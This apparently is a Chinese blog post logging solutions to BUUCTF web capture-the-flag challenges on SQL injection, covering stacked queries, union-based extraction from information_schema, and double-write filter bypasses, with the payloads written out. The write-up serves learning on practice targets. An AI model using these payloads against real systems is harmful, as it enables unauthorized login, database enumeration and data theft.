首页 > 数据库 >buuctf web做题记录 基础sql注入

buuctf web做题记录 基础sql注入

时间:2024-03-19 21:00:59浏览次数:22  
标签:web buuctf group union flag 做题 select concat schema

buuctf 做题记录

[SUCTF 2019]EasySQL 1

先考虑堆叠查询

1; show databases;

Array ( [0] => 1 ) Array ( [0] => ctf ) Array ( [0] => ctftraining ) Array ( [0] => information_schema ) Array ( [0] => mysql ) Array ( [0] => performance_schema ) Array ( [0] => test )

1; show tables;

Array ( [0] => 1 ) Array ( [0] => Flag )

继续试着堆叠注入,发现无法显示列名,有其他大佬猜出了它的查询语句

select $_GET['query'] || flag from flag

在 mysql中 ||等同于or,所以上述查询其实就等同于select $_GET['query'] or flag from flag

根据这个查询模式进行payload构造,我们第一时间可以想到直接* from Flag;#但实际测

试不行,应该是将flag给过滤掉了

继续尝试去构造,既然||相当于或,那么我们就可以这样构造
select *,1 || flag from flag;

为什么这样可以呢? 1 or flag中由于1非0,所以为true ,true or flag也为true

将true转换为数字则为1所以最后实际执行的语句为

select *,1 from flag; 我们即可获得flag

第二种思路:通过测试我们发现本题并未过滤set和 concat 函数,我们可以通过set设置会话

模式,将||解析成concat,而concat函数在sql中起到作用是将查询的结果拼接起来

由此我们有了第二种payload

1;set sql_mode=pipes_as_concat;select 1

[强网杯 2019]随便注

这题很奇怪,使用堆叠注入一直都没有结果,最后去看其他人的wp过程,在我这也无法复

现,最后直接使用万能密码居然给过了,怀疑改题了,我看到的题和其他人做到不是一个版

本的题。

[极客大挑战 2019]LoveSQL

也是一个登录框类型,我们先试下堆叠注入,发现不行,试一下万能密码发现登陆了进去,

也就是存在显示位,试一下联合查询。

就是一套标准测试流程

先通过闭合测试,测得需要单引号闭合,再通过

1' and order by 3;#

测得查询列数位3

接着测试显示位 1' union select 1,2,3;# 测得显示位是2,3

接着使用1' union select 1,database(),3获得数据库名geek

接着查询表名:1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='geek';#

我们成功得到表名 :geekuser l0ve1ysq1

再查询第一个表的列名:1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name ='geekuser';#

发现有id username password 查询内容

1' union select 1,group_concat(username),3 from geekuser;#

发现flag没在这里,换个表1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name ='l0ve1ysq1';#

同样有id username password 继续查询

1' union select 1,group_concat(username),3 from l0ve1ysq1;#

由于输出太多,一次看的不是很清楚,我们选择查看源代码

我们看到了flag!用户,查询内容

1' union select 1,password,3 from l0ve1ysq1 where username='flag';#

发现查不到结果,这可能是我的用户名输入的有问题,不管这些,直接查密码。

1' union select 1,group_concat(password),3 from l0ve1ysq1 ;#

继续查看网页代码,找到flag,拿下。

[极客大挑战 2019]BabySQL

本题是上个题的加强版本,

先试下万能密码,发现报错信息中or 不见了

判断是将or给过滤掉了,如果只调用了一次替换函数,我们是可以进行双写绕过的,再试一

下:1' oorr 1=1;# 发现成功登陆,可以进行正常显示,我们继续

1' and oorrder by 3;# 发现不行,查看报错应该是把by 也过滤了,

继续双写绕过1' oorrder bbyy 4;#

通过联合查询发现 union select where from 也进行了过滤,那基本思路就出来了,对过滤的

字符全部进行双写绕过

1' uniunionon seleselectct 1,database(),2;#

查询得到数据库名:geek继续

1' uniunionon seselectlect 1,group_concat(table_name),3 frfromom information_schema.tables whewherere table_schema='geek';#

很难绷,发现似乎不行,再看一下报错,牛魔的,发现是information中的or给过滤了,难

绷,继续

1' uniunionon seselectlect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whewherere table_schema='geek';#

有两个表b4bsql,geekuser 有了上一题的经验,我们先看b4bsql

1' uniunionon selselectect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name ='b4bsql';#

不出意外,还是 id username password直接拿flag

1' ununionion seleselectct 1,group_concat(password),3 frofromm b4bsql ;#

发现又不行,原因原来是password里的or又给过滤了,最后的payload

1' ununionion seleselectct 1,group_concat(passwoorrd),3 frofromm b4bsql ;#

标签:web,buuctf,group,union,flag,做题,select,concat,schema
From: https://www.cnblogs.com/rpup/p/18083935

相关文章

  • HTML期末大作业~HTML眼镜网站~Web大学生网页成品-s08
    HTML期末大作业~学生HTML个人网页作业作品下载个人主页博客网页设计制作大学生个人网站作业模板简单个人网页制作,HTML网页设计结课作业↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓http://imianba.cn/#/articles?category=1&theme=0↑↑↑↑↑↑......
  • 使用Selenium执行JavaScript脚本:探索Web自动化的新领域
    前言在我们使用selenium进行自动化测试的时候,selenium能够帮助我们实现元素定位和点击输入等操作,但是有的时候,我们会发现,即使我们的元素定位没有问题,元素也无法执行操作;也有部分情况是我们无法直接定位滚动条河时间控件来进行操作,这个时候,我们就需要借助JavaScript来解决问题。......
  • WebRtc实时音波
    摘要:最近在做音视频相关业务,用的到了webRtc技术,掌握这些方法可以结合业务做,麦克风检测、录制音频,都是可以的;基本操作和其它方法都写好在methods中了;全局变量//后续会创建AnalyserNode对象letanalyser:any=null;//后续赋值canvas标签对象letcanvas:any=nu......
  • vue使用JSWebrtc播放webrtc视频流
    1、下载JSWebrtc.min.js文件地址:https://github.com/kernelj/jswebrtc/tree/master/dist 或者再此路径下载 https://files.cnblogs.com/files/blogs/702532/jswebrtc.min.js?t=1710839018&download=true2、使用jswebrtc2.1文件放到public/static目录下,位置不能放错 2......
  • WebStorm 怎么编译 Vue 工程
    最近一些工程项目,需要用到Vue,只能从头学一下。目前使用的WebStorm,但是不知道怎么编译,还要下载Node.js,对这个不熟悉。最终找到了编译方法:记录一下1.打包方法1.1在工程里面,package.json,点击右键,选择显示npm脚本。然后点击build1.2菜单-->视图-->工具窗口-->npm,然......
  • [极客大挑战 2019]web部分题解(sql部分已完结,其他部分正在更新)
    SQL部分:[极客大挑战2019]BabySQL打开环境后有登录界面◕‿◕一眼注入,后先试试万能密码:username:admin'or'1'='1password:1 GG,出大问题,我就会这一招啊O.o??完结撒花(不是꒰ঌ(⌯''⌯)໒꒱开玩笑的,着看着像是过滤了or后来尝试了一下oorr双写发现也不行,那咱继续注入哈:尝试......
  • TP6 使用 nusoap为第三方webservice调用插件
    composer下载插件composerrequirenusoap/nusoapuseNuSoap\Client\Client;classIndexextendsBaseController{/****/publicfunctionindex(){//WebService的WSDL地址$wsdl='http://xxx.ygys.net/ResumeServ......
  • 2024.3 做题纪要
    省选考的一塌糊涂,学了约半个月whk。模拟赛不知道有没有比较需要写的,看情况,更新可能很少,主要用来写题解。目录2024.3.16P10218[省选联考2024]魔法手杖P10220[省选联考2024]迷宫守卫2024.3.19P10198[USACO24FEB]InfiniteAdventureP2024.3.16算是开始集训了,虽然还是不......
  • webapi通过docker部署到Linux的两种方式
    docker安装官网删除dockersudoyumremovedocker\docker-client\docker-client-latest\docker-common\docker-latest\docker-latest-logrotate\docker-logrotate\docker-engine安装sudoyuminstall-yyum-utilssudoyum-config-manage......
  • 借助HttpWebRequest 调用第三方接口,获取Token和数据
    在一次项目中,在给客户做系统时,需要调用客户的系统获取数据,客户提供了获取Token和获取数据的接口,用户名和密码,认证方式是基于Bearer的,通过学习和找资料,提供一个C#示例一个C#示例1、传入语句获取数据///<summary>///传入语句获取数据///</summary>......